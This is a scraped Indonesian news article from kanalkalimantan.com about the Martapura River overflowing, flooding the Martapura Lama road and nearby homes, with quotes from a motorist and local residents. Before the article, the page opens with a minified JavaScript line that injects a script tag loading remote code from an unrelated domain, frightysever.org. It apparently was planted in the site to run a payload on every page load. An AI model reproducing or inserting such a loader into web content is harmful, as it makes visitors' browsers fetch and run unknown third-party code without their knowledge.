(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,MARTAPURA – Akibat tingginya intensitas hujan yang terjadi di beberapa wilayah di Kabupaten Banjar membuat Sungai Martapura meluap.
Imbasnya sejumlah titik jalan provinsi lintas kabupaten, tepatnya di sepanjang jalan Martapura Lama hampir tak lagi dapat dilalui oleh pengendara roda dua.
Ketinggian air yang menggenangi jalan yang dikelola Pemprov Kalsel ini bervariasi, bahkan ada yang setinggi lutut orang dewasa.
Berdasarkan pantauan Kanal Kalimantan.com di lapangan, sepanjang jalan yang melintas di tiga kecamatan seperti Martapura, Martapura Barat, hingga Kecamatan Sungai Tabuk ini tidak kurang ada 17 titik banjir yang menggenangi jalan.
Tepat di depan markas Polsek Martapura Barat contohnya, di jalan Martapura Lama, desa Sungai Rangas ini tidak sedikit motor warga yang nekat melintas mogok, lantaran mesinnya kemasukan air.
“Iya tadi saya paksakan untuk melintas, sehingga motor saya mati, di sini titik air terdalam yang menggenangi jalan, yang sudah saya lewati, mungkin ada 200 meter jaraknya di titik ini, terpaksa saya harus mendorong motor ke yang lebih tinggi,” kata Supriadi, pengendara asal Kapuas.
Di sisi lain, guna memudahkan pengendara yang melintas, belasan warga secara sukarela juga mengarahkan pengendara yang nekat menerobos jalan yang terendam air. Tidak hanya itu warga juga membuat jembatan titian darurat ala kadarnya, agar motor pengendara yang melintas nekat melintas di penghubung Martapura-Marabahan-Banjarmasin ini tidak kemasukan air.
“Di depan Polsek ini adalah titik terdalam jalan terendam, apalagi kalau hujan semalaman, bahkan kedalamannya melebihi lutut orang dewasa. Jalan yang berlubang dan sebagian tidak diaspal, sangat membahayakan pengendara, bukan hanya mogok, tidak sedikit pengendara yang melintas terjatuh basah kuyup, makanya di sini kami berinisiatif membantu pengendara yang melintas,” kata Arif, warga Sungai Rangas, Kecamatan Martapura Barat.
Selain menggenangi sebagian jalan Martapura Lama, luapan air dari Sungai Martapura ini juga terpantau merendam ratusan rumah warga di pinggir jalan tersebut. Warga yang bisa berharap air bisa kembali surut, sehingga dapat beraktifitas dengan normal kembali. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
This website uses cookies.